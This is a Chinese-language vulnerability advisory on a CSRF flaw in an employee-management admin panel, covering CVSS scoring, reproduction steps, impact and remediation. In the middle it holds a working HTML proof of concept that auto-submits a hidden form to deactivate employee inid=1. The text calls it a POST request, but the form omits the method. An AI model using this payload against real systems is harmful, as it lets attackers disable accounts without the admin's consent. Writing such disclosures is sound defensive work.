员工管理功能存在**跨站请求伪造(CSRF)**漏洞。
攻击者可诱骗已登录的管理员发送伪造请求,在管理员不知情或未同意的情况下停用员工(例如 inid=1)。
向量字符串: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:L/A:L
模块: 管理面板 → 员工 → 管理员工
操作: 停用员工(通过 inid 参数)
以管理员身份登录
/admin 端点,并使用有效的管理员凭据登录。
打开“管理员工”

捕获停用请求
在代理(如 Burp Suite)中打开拦截。
点击员工的 停用,并捕获用于停用该用户的请求。
注意请求中的 inid 参数(例如 inid=1)。

生成 CSRF PoC
inid=1 请求的 HTML 文件,以停用用户 1。
以受害者身份触发 CSRF
在浏览器中托管或打开该 HTML PoC。
当管理员已登录应用时,如果他们访问此 PoC 页面并提交表单,用户 1 将被停用。

验证效果
返回管理员仪表盘 → 管理员工。
观察用户 1 现在被标记为 停用。

以下是假设请求为带
inid参数的POST请求时的典型 PoC:
<html>
<body>
<form action="http://localhost/elms/admin/manageemployee.php">
<input type="hidden" name="inid" value="1" />
<input type="submit" value="Submit request" />
</form>
<script>
history.pushState('', '', '/');
document.forms[0].submit();
</script>
</body>
</html>
将此文件保存为 csrf_inactivate_emp1.html。
发送/托管此文件,并让已认证的管理员加载该文件并点击按钮。
攻击者可通过诱骗管理员访问恶意页面,强制其停用任意员工。
这可能导致:
未经授权的账户停用,影响用户账户的可用性。
运营中断(例如,员工在关键操作期间被禁用)。
与其他漏洞结合可能被滥用(例如,停用某些监控或特权账户)。
攻击仅需满足:
管理员已登录,且
管理员访问攻击者控制的恶意 URL/页面(网络钓鱼、嵌入 iframe、恶意链接等)。
鉴于这会直接操纵管理门户中的用户管理,该问题应被视为高危。
实施 CSRF 防护令牌
为所有状态变更请求(例如停用、删除、更新)添加加密安全、不可预测的 CSRF 令牌。
将令牌作为隐藏字段嵌入表单。
在服务端验证:
令牌是否存在,
令牌是否正确,以及
令牌是否与当前用户会话关联。
如果令牌缺失或无效,则拒绝请求。
使用 SameSite Cookie
将会话 Cookie 设置为 SameSite=Lax,或在可能的情况下优先使用 SameSite=Strict。
这可以防止 Cookie 在跨站请求中被自动发送,从而降低 CSRF 风险。
强制使用正确的 HTTP 方法
确保所有状态变更操作(如停用员工)都使用 POST(或 PUT/DELETE),而不是 GET。
不要通过 GET 参数接受敏感的状态变更。
验证 Origin / Referer 请求头
在敏感端点上,验证 Origin 或 Referer 请求头,确保请求来自受信任的域。
如果请求头缺失或来自不受信任的来源,则拒绝该请求。
强化 UI/工作流
为敏感操作(例如停用具有管理员角色的用户)添加服务端确认或重新认证流程。
实施适当的授权检查,确保即使尝试 CSRF,也只有预期角色能够执行该操作。
安全测试
将 CSRF 检查纳入常规安全测试(手动和自动)。
在实施防护后重新测试该端点(及类似端点),以验证 PoC 不再有效。